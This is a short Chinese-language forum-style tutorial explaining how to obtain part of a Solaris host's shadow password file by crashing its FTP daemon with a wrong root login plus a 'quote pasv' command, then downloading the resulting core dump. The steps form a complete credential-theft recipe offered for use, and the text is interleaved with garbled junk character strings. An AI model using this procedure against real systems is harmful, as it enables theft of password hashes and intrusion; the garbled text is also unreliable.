如何用FIP获取shadow口令文件

该方法利用了Solaris 操作系统中FTPD的一个BUG，使得用户可以获得该机的口令文件。具体过程如下：

9 }; u  e* X3 z8 }7 W  C; d1.通过 ftp 正常登录到目的主机上
: F2 V1 ~' Q( t% @0 c  z2 p
+ \/ A; x  ~, y+ C2.输入如下命令序列：
; x% R4 A* o5 F9 z5 q& y
ftp> user root wrongpasswd
' A  c  i+ Z, T' H
. f, P$ P- l" h9 Yftp> quote pasv

( {6 ~  j: @, p2 i& Z9 S- f3.这时，ftpd会报错退出，同时会在当前目录下生成一个core，口令文件就包含在这个core中。

4.再次进入FTP >get core

补充：虽然在core只有一部分shadow，但是对于系统来说已经是致命的打击了

& w' X+ p/ ]* v8 F3 x# x2 `